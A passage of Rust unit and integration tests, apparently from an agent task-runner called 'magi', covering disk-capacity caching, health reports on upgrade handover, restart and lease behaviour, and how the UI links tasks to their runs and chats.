25489            ui.monitor
25490                .disk
25491                .lock()
25492                .unwrap()
25493                .capacity
25494                .runs_bytes
25495                .is_none()
25496        );
25497        release.send(()).unwrap();
25498        wait_for_disk_scan(&ui.monitor.disk).await;
25499        assert_eq!(
25500            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25501            Some(200)
25502        );
25503    }
25504
25505    #[tokio::test]
25506    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25507        let home = TempDir::new().unwrap();
25508        let scope = disk_test_scope(home.path());
25509        let state = Arc::new(Mutex::new(DiskObservation {
25510            scope: Some(scope.clone()),
25511            capacity: known_disk_capacity(),
25512            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25513            ..Default::default()
25514        }));
25515        let (started, reached) = tokio::sync::oneshot::channel();
25516        let (release, blocked) = std::sync::mpsc::channel();
25517        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25518            started.send(()).unwrap();
25519            blocked.recv().unwrap();
25520            DiskCapacity {
25521                runs_bytes: Some(250),
25522                ..Default::default()
25523            }
25524        });
25525        assert_eq!(before.cache_bytes, Some(400));
25526        tokio::time::timeout(Duration::from_secs(5), reached)
25527            .await
25528            .unwrap()
25529            .unwrap();
25530        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25531        for _ in 0..4 {
25532            let scans = duplicate_scans.clone();
25533            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25534                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25535                DiskCapacity::default()
25536            });
25537            assert_eq!(during.runs_bytes, Some(200));
25538            assert_eq!(during.cache_bytes, Some(400));
25539        }
25540        release.send(()).unwrap();
25541        wait_for_disk_scan(&state).await;
25542        let scans = duplicate_scans.clone();
25543        let after = DiskObservation::observe(&state, scope, move |_| {
25544            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25545            DiskCapacity::default()
25546        });
25547        wait_for_disk_scan(&state).await;
25548        assert_eq!(after.runs_bytes, Some(250));
25549        assert_eq!(after.free_bytes, Some(100));
25550        assert_eq!(after.cache_bytes, Some(400));
25551        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25552        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25553    }
25554
25555    #[tokio::test]
25556    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25557        let home = TempDir::new().unwrap();
25558        let old_scope = disk_test_scope(home.path());
25559        let mut new_scope = old_scope.clone();
25560        new_scope.cache = Some(home.path().join("replacement-cache"));
25561        let state = Arc::new(Mutex::new(DiskObservation {
25562            scope: Some(old_scope.clone()),
25563            capacity: known_disk_capacity(),
25564            ..Default::default()
25565        }));
25566        let (started, reached) = tokio::sync::oneshot::channel();
25567        let (release, blocked) = std::sync::mpsc::channel();
25568        DiskObservation::observe(&state, old_scope, move |_| {
25569            started.send(()).unwrap();
25570            blocked.recv().unwrap();
25571            known_disk_capacity()
25572        });
25573        tokio::time::timeout(Duration::from_secs(5), reached)
25574            .await
25575            .unwrap()
25576            .unwrap();
25577        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25578        let scans = duplicate_scans.clone();
25579        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25580            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25581            DiskCapacity::default()
25582        });
25583        assert!(changed.cache_bytes.is_none());
25584        assert!(changed.runs_bytes.is_none());
25585        release.send(()).unwrap();
25586        wait_for_disk_scan(&state).await;
25587        {
25588            let observation = state.lock().unwrap();
25589            assert!(observation.capacity.cache_bytes.is_none());
25590            assert!(observation.finished.is_none());
25591        }
25592        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25593            assert_eq!(scope, &new_scope);
25594            DiskCapacity {
25595                cache_bytes: Some(999),
25596                ..Default::default()
25597            }
25598        });
25599        wait_for_disk_scan(&state).await;
25600        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25601        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25602    }
25603
25604    #[tokio::test]
25605    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25606        let home = TempDir::new().unwrap();
25607        let scope = disk_test_scope(home.path());
25608        let state = Arc::new(Mutex::new(DiskObservation {
25609            scope: Some(scope.clone()),
25610            capacity: known_disk_capacity(),
25611            ..Default::default()
25612        }));
25613        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25614        wait_for_disk_scan(&state).await;
25615        {
25616            let mut observation = state.lock().unwrap();
25617            assert_eq!(observation.capacity.cache_bytes, Some(400));
25618            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25619            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25620        }
25621        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25622            cache_bytes: Some(450),
25623            ..Default::default()
25624        });
25625        wait_for_disk_scan(&state).await;
25626        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25627    }
25628
25629    #[test]
25630    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25631        let home = TempDir::new().unwrap();
25632        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25633        assert_eq!(disk_capacity_size(home.path()), Some(0));
25634        std::fs::create_dir(home.path().join("nested")).unwrap();
25635        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25636        assert_eq!(disk_capacity_size(home.path()), Some(5));
25637        #[cfg(unix)]
25638        {
25639            // Unix distinguishes an invalid descendant lookup from absence.
25640            assert_eq!(
25641                disk_capacity_size(&home.path().join("nested/data/child")),
25642                None
25643            );
25644        }
25645        #[cfg(unix)]
25646        {
25647            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25648            assert_eq!(disk_capacity_size(home.path()), Some(5));
25649        }
25650    }
25651
25652    #[tokio::test]
25653    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25654        // `mode = "off"` for the same reason as the test above: a default
25655        // fixture repo falls back to `mode = "notify"`, which would make this
25656        // route's new `update` field a live, unauthenticated GitHub call on
25657        // every assertion in this suite that happens to hit `/api/health`.
25658        let repo = TempDir::new().expect("repo dir");
25659        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25660            .expect("write magi.toml");
25661        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25662
25663        let health = fx.get("/api/health").await.json();
25664        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25665        assert_eq!(
25666            health["update"]["available"], false,
25667            "checking is off, which reads as \"unknown\", not \"none\""
25668        );
25669        assert!(health["update"]["to"].is_null());
25670        assert!(
25671            health["upgrade"].is_null(),
25672            "nothing has ever asked this deck to upgrade"
25673        );
25674    }
25675
25676    #[tokio::test]
25677    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25678        let fx = Fixture::start().await;
25679        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25680
25681        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25682        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25683        progress.advance(crate::updater::Stage::Parking);
25684        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25685
25686        let health = fx.get("/api/health").await.json();
25687        assert_eq!(health["upgrade"]["stage"], "parking");
25688        assert_eq!(health["upgrade"]["from"], "0.5.1");
25689        assert_eq!(health["upgrade"]["to"], "0.5.2");
25690        let waiting_on = health["upgrade"]["waiting_on"]
25691            .as_str()
25692            .expect("waiting_on is set while parking a known run");
25693        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25694        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25695    }
25696
25697    #[tokio::test]
25698    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25699        let fx = Fixture::start().await;
25700        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25701        progress.advance(crate::updater::Stage::Done);
25702        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25703
25704        let health = fx.get("/api/health").await.json();
25705        assert_eq!(health["upgrade"]["stage"], "done");
25706        assert!(
25707            health["upgrade"]["waiting_on"].is_null(),
25708            "nothing to wait on once it is done"
25709        );
25710    }
25711
25712    /// The handover signal is seen however the race falls, and wakes its one
25713    /// waiter once per signal - nothing here can spin.
25714    #[tokio::test]
25715    async fn the_handover_signal_wakes_one_waiter_once() {
25716        let signal = Notify::new();
25717        // Signalled before anyone waits: the stored permit is not lost.
25718        signal.notify_one();
25719        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25720            .await
25721            .expect("an early signal is still seen");
25722        // One signal, one wake-up: a second wait does not resolve by itself.
25723        assert!(
25724            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25725                .await
25726                .is_err(),
25727            "a consumed signal must not wake a second time"
25728        );
25729        // Signalled while waiting.
25730        let signal = std::sync::Arc::new(signal);
25731        let waiter = tokio::spawn({
25732            let signal = std::sync::Arc::clone(&signal);
25733            async move { wait_for_handover(&signal).await }
25734        });
25735        tokio::time::sleep(Duration::from_millis(20)).await;
25736        assert!(!waiter.is_finished(), "nothing was signalled yet");
25737        signal.notify_one();
25738        tokio::time::timeout(Duration::from_secs(5), waiter)
25739            .await
25740            .expect("a late signal wakes the waiter")
25741            .expect("join");
25742    }
25743
25744    #[tokio::test]
25745    async fn health_says_how_long_a_handover_has_been_stuck() {
25746        let fx = Fixture::start().await;
25747        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25748        progress.advance(crate::updater::Stage::Replaced);
25749        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25750        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25751
25752        let health = fx.get("/api/health").await.json();
25753        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25754        assert!(stuck >= 600, "{stuck}");
25755        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25756        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25757    }
25758
25759    #[tokio::test]
25760    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25761        let home = tempfile::tempdir().expect("temp home");
25762        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25763        progress.advance(crate::updater::Stage::Parking);
25764        crate::updater::write_progress(home.path(), &progress).expect("seed");
25765        // What the second upgrade_and_restart and its handler do.
25766        let mut again = progress.clone();
25767        again.advance(crate::updater::Stage::Replaced);
25768        crate::updater::write_progress(home.path(), &again).expect("replaced");
25769        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25770        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25771        let after = crate::updater::read_progress(home.path()).expect("record");
25772        assert_eq!(after.stage, crate::updater::Stage::Parking);
25773    }
25774
25775    #[tokio::test]
25776    async fn health_does_not_call_a_live_parking_wait_stuck() {
25777        let fx = Fixture::start().await;
25778        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25779        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25780        progress.advance(crate::updater::Stage::Parking);
25781        let hours = Duration::from_secs(3 * 3600);
25782        progress.started_at = Timestamp::now() - hours;
25783        progress.updated_at = Timestamp::now() - hours;
25784        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25785        let _lease = crate::updater::LeaseGuard::enter(
25786            fx.home.path(),
25787            Some("20260905-000000-cd51".to_owned()),
25788        );
25789
25790        let health = fx.get("/api/health").await.json();
25791        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25792        assert!(health["upgrade"]["stuck_kind"].is_null());
25793        assert_eq!(health["upgrade"]["handover_alive"], true);
25794        let waiting_on = health["upgrade"]["waiting_on"]
25795            .as_str()
25796            .expect("waiting_on");
25797        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25798    }
25799
25800    fn idle_ui(home: &TempDir) -> Ui {
25801        let runs = home.path().join("runs");
25802        std::fs::create_dir_all(&runs).expect("runs dir");
25803        Ui::new(
25804            Queue::at(home.path().join("queue")),
25805            Questions::at(home.path().join("questions")),
25806            Talks::at(home.path().join("talks")),
25807            runs,
25808            home.path().to_path_buf(),
25809            PathBuf::from("/repo/magi"),
25810        )
25811        .with_launch(launch_idle)
25812    }
25813
25814    #[tokio::test]
25815    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25816        let home = TempDir::new().expect("temp home");
25817        let ui = idle_ui(&home);
25818        let lease = crate::worker::try_lease(home.path(), "scheduler")
25819            .expect("scheduler lease")
25820            .expect("free");
25821        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25822            .expect("request stop");
25823        let error = ui
25824            .start_detached_loop()
25825            .await
25826            .expect_err("transition is still live");
25827        assert_eq!(error.status, StatusCode::CONFLICT);
25828        assert!(error.message.contains("still running or stopping"));
25829        assert_eq!(
25830            crate::worker::control(home.path(), "scheduler").unwrap(),
25831            Some(crate::worker::Control::Stop)
25832        );
25833        drop(lease);
25834    }
25835
25836    #[tokio::test]
25837    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25838        let home = TempDir::new().expect("temp home");
25839        let ui = idle_ui(&home);
25840        let turns = ui
25841            .begin_talk_turn("active-chat")
25842            .expect("claim")
25843            .expect("free");
25844        let execution = crate::worker::try_lease(home.path(), "active-task")
25845            .expect("execution lease")
25846            .expect("free");
25847        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25848            .await
25849            .expect("bind loopback");
25850        let address = listener.local_addr().expect("address");
25851        let admissions = Arc::clone(&ui.admissions);
25852        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25853        let successor_started = std::sync::atomic::AtomicBool::new(false);
25854        tokio::time::timeout(
25855            Duration::from_secs(2),
25856            hand_over(home.path(), &admissions, served, || {
25857                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25858                Ok(1)
25859            }),
25860        )
25861        .await
25862        .expect("restart must not wait for execution")
25863        .expect("handover");
25864        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25865        // BSD may retain the address briefly after listener release. The real
25866        // successor uses the same bounded bind retry rather than a one-shot bind.
25867        let successor = bind_waiting(address)
25868            .await
25869            .expect("successor binds released address");
25870        assert_eq!(successor.local_addr().unwrap(), address);
25871        assert!(turns.owns(), "the chat lease survives restart");
25872        assert!(
25873            crate::worker::try_lease(home.path(), "active-task")
25874                .unwrap()
25875                .is_none()
25876        );
25877        drop(execution);
25878        drop(turns);
25879    }
25880
25881    #[tokio::test]
25882    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25883        let home = TempDir::new().expect("temp home");
25884        let ui = idle_ui(&home);
25885        let admission = ui.begin_admission().expect("admit send");
25886        let turn = ui
25887            .begin_talk_turn("active-chat")
25888            .expect("claim")
25889            .expect("free");
25890        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25891            .await
25892            .expect("bind loopback");
25893        let address = listener.local_addr().expect("address");
25894        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25895        let successor_called = std::sync::atomic::AtomicBool::new(false);
25896        let handover = hand_over(home.path(), &ui.admissions, served, || {
25897            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25898            Ok(1)
25899        });
25900        tokio::pin!(handover);
25901        // Poll exactly to the writer waiting on our admission guard. This
25902        // pins the race without sleeps or assumptions about task scheduling.
25903        std::future::poll_fn(|cx| {
25904            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25905            std::task::Poll::Ready(())
25906        })
25907        .await;
25908        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25909        assert!(
25910            ui.begin_admission().is_err(),
25911            "new ingress cannot race the drain"
25912        );
25913        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25914        drop(admission);
25915        tokio::time::timeout(Duration::from_secs(2), handover)
25916            .await
25917            .expect("only publication may delay restart")
25918            .expect("handover");
25919        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25920        assert!(
25921            turn.owns(),
25922            "the detached chat turn is not awaited or cancelled"
25923        );
25924        assert!(
25925            ui.begin_admission().is_err(),
25926            "old accepted connections stay closed"
25927        );
25928        drop(turn);
25929    }
25930
25931    #[test]
25932    fn health_worker_metadata_never_contains_payload_or_result() {
25933        let view = WorkerView::from(crate::worker::Job {
25934            id: "job".into(),
25935            sequence: 1,
25936            kind: "service".into(),
25937            key: "maintenance".into(),
25938            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25939            generation: "generation".into(),
25940            version: Some("1.2.3".into()),
25941            status: crate::worker::Status::Running,
25942            result: Some("private diagnostics".into()),
25943            pid: Some(4242),
25944            created_at: 1,
25945            finished_at: None,
25946        });
25947        let value = serde_json::to_value(view).expect("serialize public metadata");
25948        assert_eq!(value["version"], "1.2.3");
25949        assert_eq!(value["pid"], 4242);
25950        assert!(value.get("payload").is_none());
25951        assert!(value.get("result").is_none());
25952        assert!(!value.to_string().contains("private"));
25953    }
25954
25955    #[test]
25956    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25957        let home = TempDir::new().expect("temp home");
25958        let ui = idle_ui(&home);
25959        std::fs::write(
25960            home.path().join("daemon.json"),
25961            serde_json::json!({
25962                "schema": 2, "pid": 4242, "worker_protocol": 1,
25963                "updated_at": Timestamp::now().to_string(), "idle": true,
25964            })
25965            .to_string(),
25966        )
25967        .expect("status");
25968        let reading = daemon::read_status(home.path());
25969        assert!(Foreign::of(reading.as_ref()).is_none());
25970        let view = ui.runtime_loop_view(reading, &[]);
25971        assert!(view.running);
25972        assert!(view.owned);
25973    }
25974
25975    #[test]
25976    fn only_an_explicit_one_requests_a_resume() {
25977        assert!(!resume_requested(None));
25978        assert!(!resume_requested(Some("0".into())));
25979        assert!(!resume_requested(Some("".into())));
25980        assert!(resume_requested(Some("1".into())));
25981    }
25982
25983    #[test]
25984    fn an_error_is_visible_from_where_the_button_is() {
25985        // The alert used to sit in the flow under the header. On a phone
25986        // scrolled 13 500 px down to a run's action sheet that is off screen,
25987        // so tapping Resume and being told "the loop is running run b455
25988        // right now" looked exactly like a button that did nothing.
25989        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25990            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25991        assert!(
25992            alert.contains("position: fixed"),
25993            "an error about the thing under your thumb has to be visible from \
25994             where your thumb is: {alert}"
25995        );
25996        assert!(
25997            alert.contains("z-index: 25"),
25998            "above the dock (20) and the run-actions FAB (15), so neither \
25999             buries it: {alert}"
26000        );
26001        assert!(
26002            alert.contains("var(--tap)"),
26003            "and clear of the dock and the home indicator: {alert}"
26004        );
26005        // The FAB sits at the same height on the right. An error that covered
26006        // it would hide the button the operator reaches for next.
26007        assert!(
26008            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26009            "the FAB's column stays free: {alert}"
26010        );
26011    }
26012
26013    #[tokio::test]
26014    async fn an_older_attempt_says_what_replaced_it() {
26015        let fx = Fixture::start().await;
26016        let q = fx.queue();
26017        let runs = fx.runs();
26018        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26019        write_run(&runs, first, RunStatus::Stalled);
26020        write_run(&runs, second, RunStatus::Blocked);
26021
26022        let mut t = Task::new(
26023            "one task".to_owned(),
26024            "do it".to_owned(),
26025            PathBuf::from("/repo"),
26026            Source::Human,
26027        );
26028        t.runs = vec![first.to_owned(), second.to_owned()];
26029        q.put(&mut t).expect("put");
26030
26031        // Two cards with the same title and no hint which is which was the
26032        // question: "why are there two of the same, one stalled and one
26033        // blocked?" The older one now names its replacement.
26034        let rows = fx.get("/api/runs").await.json();
26035        let by = |short: &str| -> Value {
26036            rows.as_array()
26037                .unwrap()
26038                .iter()
26039                .find(|r| r["short"] == short)
26040                .cloned()
26041                .unwrap_or(Value::Null)
26042        };
26043        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26044        assert!(
26045            by("bbbb")["superseded_by"].is_null(),
26046            "the latest attempt is not superseded by anything"
26047        );
26048        // Front end: the note has to be rendered, not just carried.
26049        assert!(APP_JS.contains("run.superseded_by"));
26050        assert!(APP_JS.contains("Superseded by"));
26051    }
26052
26053    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26054        let mut t = Task::new(
26055            "one task".to_owned(),
26056            "do it".to_owned(),
26057            PathBuf::from("/repo"),
26058            Source::Human,
26059        );
26060        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26061        t.status = status;
26062        t
26063    }
26064
26065    #[test]
26066    fn source_link_picks_the_page_that_filed_the_task() {
26067        let agent = |node: &str| Source::Agent {
26068            run: "20260904-014455-ab12".to_owned(),
26069            node: node.to_owned(),
26070        };
26071        let chat = source_link(&agent("chat")).expect("chat link");
26072        assert_eq!(chat.kind, "chat");
26073        assert_eq!(chat.id, "20260904-014455-ab12");
26074        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26075        let run = source_link(&agent("implement")).expect("run link");
26076        assert_eq!(
26077            (run.kind, run.href.as_str()),
26078            ("run", "#/runs/20260904-014455-ab12")
26079        );
26080        assert_eq!(source_link(&Source::Human), None);
26081        assert_eq!(
26082            source_link(&Source::Issue {
26083                number: 3,
26084                repo: "o/r".to_owned()
26085            }),
26086            None
26087        );
26088        let odd = source_link(&Source::Agent {
26089            run: "a b/c".to_owned(),
26090            node: "chat".to_owned(),
26091        })
26092        .expect("link");
26093        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26094    }
26095
26096    #[test]
26097    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26098        assert!(
26099            !APP_JS.contains("src.node === \"chat\""),
26100            "inline href rule is back"
26101        );
26102        assert!(
26103            APP_JS.matches("sourceLinkOf(").count() >= 4,
26104            "helper must serve every page"
26105        );
26106        assert!(
26107            APP_JS.matches("openChatLink(").count() >= 3,
26108            "the run page still needs its explicit chat link"
26109        );
26110        assert!(
26111            !APP_JS.contains("const openChat = el("),
26112            "the Queue card duplicates its source label link again"
26113        );
26114        assert!(
26115            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26116            "the task page must link a chat source label too"
26117        );
26118    }
26119
26120    #[test]
26121    fn task_ref_carries_the_source_link_for_a_chat_task() {
26122        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26123        t.source = Source::Agent {
26124            run: "20260904-014455-ab12".to_owned(),
26125            node: "chat".to_owned(),
26126        };
26127        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26128        let v = serde_json::to_value(&out).expect("json");
26129        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26130        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26131        assert_eq!(v["source_label"], t.source.label());
26132
26133        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26134        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26135            .expect("json");
26136        assert!(v["source_link"].is_null(), "{v}");
26137    }
26138
26139    #[test]
26140    fn task_view_serializes_source_link() {
26141        let mut t = Task::new(
26142            "t".to_owned(),
26143            "t".to_owned(),
26144            PathBuf::from("/repo"),
26145            Source::Agent {
26146                run: "20260901-000000-aaaa".to_owned(),
26147                node: "implement".to_owned(),
26148            },
26149        );
26150        t.runs.clear();
26151        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26152        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26153        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26154    }
26155
26156    #[test]
26157    fn task_view_serializes_urgent_flag() {
26158        let mut t = Task::new(
26159            "t".to_owned(),
26160            "t".to_owned(),
26161            PathBuf::from("/repo"),
26162            Source::Human,
26163        );
26164        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26165        assert_eq!(v["urgent"], false, "{v}");
26166        t.urgent = true;
26167        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26168        assert_eq!(v["urgent"], true, "{v}");
26169        assert!(APP_JS.contains("task.urgent === true"));
26170    }
26171
26172    #[test]
26173    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26174        let mut t = Task::new(
26175            "t".to_owned(),
26176            "t".to_owned(),
26177            PathBuf::from("/repo"),
26178            Source::Human,
26179        );
26180        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26181        assert_eq!(v["immediate"], false, "{v}");
26182        t.immediate = true;
26183        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26184        assert_eq!(v["immediate"], true, "{v}");
26185        assert!(APP_JS.contains("task.immediate === true"));
26186        assert!(APP_JS.contains("/immediate"));
26187    }
26188
26189    #[tokio::test]
26190    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26191        let fx = Fixture::start().await;
26192        let runs = fx.runs();
26193        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26194        write_run(&runs, old, RunStatus::Blocked);
26195        write_run(&runs, new, RunStatus::Merged);
26196        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26197        fx.queue().put(&mut t).expect("put");
26198
26199        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26200        let task = &view["task"];
26201        assert_eq!(task["status"], "done");
26202        assert_eq!(task["is_latest"], false);
26203        assert_eq!(task["latest"]["short"], "bbbb");
26204        assert_eq!(task["finished_by"]["id"], new);
26205        assert_eq!(task["finished_by"]["outcome"], "merged");
26206        assert_eq!(task["closed_by_hand"], false);
26207        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26208        assert!(APP_JS.contains("finished_by"));
26209        assert!(APP_JS.contains("superseded by run"));
26210    }
26211
26212    #[tokio::test]
26213    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26214        let fx = Fixture::start().await;
26215        let runs = fx.runs();
26216        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26217        write_run(&runs, old, RunStatus::Stalled);
26218        write_run(&runs, new, RunStatus::Blocked);
26219        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26220        fx.queue().put(&mut t).expect("put");
26221
26222        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26223        assert_eq!(task["status"], "held");
26224        assert_eq!(task["is_latest"], true);
26225        assert!(task["latest"].is_null());
26226        assert!(task["finished_by"].is_null());
26227        assert_eq!(task["closed_by_hand"], false);
26228    }
26229
26230    #[tokio::test]
26231    async fn a_direct_run_has_no_task_outcome() {
26232        let fx = Fixture::start().await;
26233        let runs = fx.runs();
26234        let id = "20260901-000000-aaaa";
26235        write_run(&runs, id, RunStatus::Blocked);
26236        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26237        assert!(view["task"].is_null());
26238    }
26239
26240    #[test]
26241    fn task_outcome_does_not_guess_a_finishing_run() {
26242        let a = "20260901-000000-aaaa";
26243        let b = "20260901-000000-bbbb";
26244        let c = "20260901-000000-cccc";
26245        let dir = tempfile::tempdir().expect("tempdir");
26246        write_run(dir.path(), a, RunStatus::Blocked);
26247        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26248        // `c` has no record: unreadable.
26249        let read = |id: &str| read_run(dir.path(), id).ok();
26250        // Neither a blocked run nor a no-op finished the task; the newest run is
26251        // unreadable and still named.
26252        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26253        let out = task_outcome(&t, a, 3, read);
26254        assert!(out.finished_by.is_none());
26255        assert!(out.closed_by_hand);
26256        let latest = out.latest.expect("latest");
26257        assert_eq!(latest.id, c);
26258        assert_eq!(latest.status, None);
26259        assert_eq!(latest.outcome, "record unreadable");
26260
26261        // A Ready run settles the task as done, so it is named as the finisher.
26262        write_run(dir.path(), c, RunStatus::Ready);
26263        let t = outcome_task(&[a, c], TaskStatus::Done);
26264        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26265        assert_eq!(out.finished_by.expect("finisher").id, c);
26266        assert!(!out.closed_by_hand);
26267
26268        // A resumed run id repeats: it is still the latest by id.
26269        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26270        assert!(task_outcome(&t, a, 3, read).is_latest);
26271    }
26272
26273    #[tokio::test]
26274    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26275        // The list route has known this since the card fix above; the detail
26276        // route — what an operator actually opens from a notification about
26277        // a blocked run — did not, and went on showing a bare red BLOCKED
26278        // chip for a run a retry had already finished.
26279        let fx = Fixture::start().await;
26280        let q = fx.queue();
26281        let runs = fx.runs();
26282        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26283        write_run(&runs, first, RunStatus::Blocked);
26284        write_run(&runs, second, RunStatus::Merged);
26285
26286        let mut t = Task::new(
26287            "one task".to_owned(),
26288            "do it".to_owned(),
26289            PathBuf::from("/repo"),
26290            Source::Human,
26291        );
26292        t.runs = vec![first.to_owned(), second.to_owned()];
26293        q.put(&mut t).expect("put");
26294
26295        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26296        assert_eq!(earlier["superseded_by"], "dddd");
26297        assert_eq!(earlier["latest_attempt"]["id"], second);
26298        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26299        assert_eq!(
26300            earlier["latest_attempt"]["resolved"], true,
26301            "the run that replaced it landed, so this one reads as settled"
26302        );
26303
26304        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26305        assert!(
26306            later["superseded_by"].is_null(),
26307            "the latest attempt is not superseded by anything"
26308        );
26309        assert!(
26310            later["latest_attempt"].is_null(),
26311            "the latest attempt has no later attempt of its own"
26312        );
26313
26314        // Front end: the detail page has to read the field this route now
